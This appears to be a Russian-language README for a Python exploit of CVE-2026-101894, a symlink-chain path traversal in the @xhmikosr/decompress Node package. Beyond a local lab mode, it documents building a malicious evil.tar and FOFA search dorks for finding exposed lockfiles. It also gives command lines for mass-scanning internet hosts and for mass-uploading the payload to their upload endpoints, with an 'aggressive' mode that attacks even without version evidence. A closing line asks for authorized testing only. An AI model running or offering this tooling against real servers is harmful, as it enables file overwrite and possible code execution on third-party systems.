
Python PoC для CVE-2026-101894: обход пути через цепочку символических ссылок в @xhmikosr/decompress. Включает локальную лабораторию Node, сканирование версий lockfile и массовый эксплойт загрузки evil.tar.
PoC на Python 3 для CVE-2026-101894 — извлечение архивов в Node.js с помощью @xhmikosr/decompress (и неподдерживаемого decompress) позволяет читать и записывать файлы за пределами выходной директории через цепочку записей символических ссылок. Обход усиления защиты от CVE-2026-53486. CVSS 3.1 9.1 Критический.
| PoCbit | https://pocbit.org/pocs/cve-2026-101894 |
| Каталог | https://pocbit.org/pocs/ |
| Пакет | @xhmikosr/decompress (поддерживается), decompress (kevva, без патча) |
| API | Стандартный decompress(input, output) |
| CWE | CWE-22 обход пути, CWE-59 следование по ссылкам |
| Исправлено | 10.2.2 (10.x), 11.1.4 (11.x) |
| GHSA | GHSA-hrh2-vp3x-79xf |
decompress применяет лексические проверки путей при распаковке архивов tar/zip и т.д. в целевую папку; однако благодаря последовательным записям символических ссылок ядро может разрешать последующие записи за пределами выходной директории. Злоумышленник с помощью контролируемого архива может перезаписывать или читать конфигурационные файлы, скрипты автозагрузки или конфиденциальные данные → сценарий RCE (CI, контейнеры, сервисы загрузки и распаковки).
Патч для @xhmikosr/decompress: 10.2.2 и 11.1.4. Старый пакет decompress до версии 4.2.1 относится к тому же классу и не получает исправлений — перейдите на @xhmikosr/[email protected]+.
| Режим | Назначение |
|---|---|
--lab | Устанавливает 11.1.3 в lab/, проверяет запись наружу с помощью цепочки символьных ссылок в evil.tar |
--write-evil-tar | Записывает payload-архив на диск (маркер POCBIT-101894-ESCAPED) |
| check | Проверяет удалённый хост на наличие package.json / lockfile → версия ≤ рискованная? |
| exploit | Отправляет POST-запросы на распространённые пути загрузки с использованием evil.tar (цепочка символьных ссылок) |
| mass | --list + -j; hits.txt / exploited.txt |
Дистанционный эксплойт не доказывает, что сервер действительно распаковывает архив с помощью decompress; считается exploited, если есть принятие загрузки с кодом 2xx + слабая версия в fingerprint. Для точного доказательства используйте --lab.
| Этап | Что доказывает |
|---|---|
| check → hits.txt | /package.json или /package-lock.json открыты и содержат слабый decompress |
| exploit → exploited.txt | По крайней мере один из общих URL-адресов загрузки, проверенных PoC, вернул HTTP 2xx |
В списке Express для FOFA 500 сканирований → 2 попадания — это нормально. 2 попадания + 0 эксплойтов (vulnerable_dep_no_upload_endpoint) также нормальны: утечка зависимости ≠ публичная загрузка архивов. Для эксплуатации этой CVE требуется, чтобы приложение распаковывало ненадёжный архив с помощью decompress(); на сайтах HID / случайных :8088 часто отсутствуют 8–11 стандартных путей PoC.
# Доказательство цепочки (локально)
python poc.py --lab
# Попадания: только зависимость + попытка загрузки
python poc.py --list hits.txt --mode exploit -j 2
# Ожидаемое: upload_ok=0, статус vulnerable_dep_no_upload_endpoint
| Пакет | Уязвимые | Исправленные |
|---|---|---|
@xhmikosr/decompress 11.x | 11.0.0 – 11.1.3 | ≥ 11.1.4 |
@xhmikosr/decompress 10.x | < 10.2.2 | ≥ 10.2.2 |
decompress (kevva) | ≤ 4.2.1 | нет — мигрировать |
cd CVE-2026-101894
pip install -r requirements.txt
Лаборатория: Node.js + npm в PATH (рекомендуется Linux/macOS для корректного поведения распаковки символьных ссылок).
python poc.py --lab
python poc.py --write-evil-tar evil.tar
python poc.py -u https://app.example --mode check
python poc.py --list targets.example.txt --mode check -j 30 --vuln-list hits.txt
python poc.py -u https://app.example --mode exploit --aggressive
python poc.py --list hits.txt --mode exploit -j 10 --aggressive --upload-paths /api/upload,/upload
| Флаг | Значение |
|---|---|
--lab | Локальный PoC извлечения Node |
--aggressive | Эксплуатация даже без открытого уязвимого lockfile |
--upload-paths | Пользовательские пути POST через запятую |
--exploited-list | Цели, где загрузка вернула 2xx |
Цепочка символьных ссылок (упрощённо):
a/b/c/up → ../..a/b/escape → c/up/../..esc → ..…/pocbit_escape.txt with marker payloadСоответствует классу обхода через цепочку символьных ссылок, описанному в примечаниях к выпуску 11.1.4 (исправление realpath / изоляции).
FOFA JSON → python _format_fofa.py fofa_results_1000.json
→ fofa_results_1000.json (url), fofa_results_1000.csv, fofa_targets_1000.txt
python poc.py --list fofa_targets_1000.txt --mode check -j 40 → hits.txt
python poc.py --list fofa_results_1000.csv --mode check -j 40 # url column
python poc.py --list hits.txt --mode exploit -j 8 --aggressive → exploited.txt
Список дорков FOFA для загрузки/zip (fofa_results_1000) более подходит для поверхности эксплойта, чем список Express-only 500; тем не менее попадание = lockfile + слабый decompress, эксплойт = загрузка 2xx.
body="node_modules/@xhmikosr/decompress"
body="\"decompress\"" && body="package-lock.json"
header="X-Powered-By: Express" && body="/package.json"
(Lockfile редко бывает публичным в продакшене; проверка часто находит staging, артефакты CI, неправильно настроенную статическую хостинг-платформу.)
Тестируйте только те системы, для которых вы имеете разрешение. Не загружайте вредоносные архивы на сторонние производственные сервисы.
PoC для CVE-2026-101894: обход пути через цепочку символьных ссылок в архивах @xhmikosr/decompress (обход CVE-2026-53486). Лаборатория Node + сканирование lockfile + массовая эксплуатация загрузки evil.tar. CVSS 9.1. https://pocbit.org/pocs/cve-2026-101894